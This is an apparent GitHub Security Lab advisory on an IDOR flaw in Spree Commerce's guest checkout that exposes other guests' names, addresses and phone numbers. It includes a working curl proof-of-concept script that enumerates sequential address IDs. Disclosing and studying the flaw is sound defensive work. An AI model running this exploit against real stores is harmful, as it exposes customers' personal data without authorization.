A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
GHSL-2026-027)The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.
Permitted Attributes (<code>core/lib/spree/permitted_attributes.rb:92–96</code>)
bill_address_id and ship_address_id as permitted parameters without validationCheckout Update (<code>core/app/models/spree/order/checkout.rb:241–254</code>)
update_from_paramsIncomplete Ownership Validation (<code>core/app/services/spree/checkout/update.rb:33–48</code>)
validate_address_ownership only validates nested attributes structurebill_address_id/ship_address_id fieldsVulnerable Assignment Logic (<code>core/app/models/spree/order/address_book.rb:16–23, 31–38</code>)
Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)
Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)
As a guest user: 1. Put one product in the cart and go to checkout. 2. Fill in some address/phone number and continue. 3. Modify this script containing a curl request with current values.
#!/bin/bash
ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.
curl -i -X POST \
-H "x-csrf-token: ${CSRF_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
-b "${SESSION_COOKIE}" \
--data-urlencode "_method=patch" \
--data-urlencode "authenticity_token=${CSRF_TOKEN}" \
--data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"
Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display.
This can be verified by accessing /checkout/${ATTACKER_ORDER_TOKEN}/delivery in the same browser where you created the new guest cart.
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
{
"cwe_ids": [
"CWE-284",
"CWE-639"
],
"github_reviewed_at": "2026-02-05T21:19:30Z",
"nvd_published_at": "2026-02-06T22:16:12Z",
"severity": "HIGH",
"github_reviewed": true
}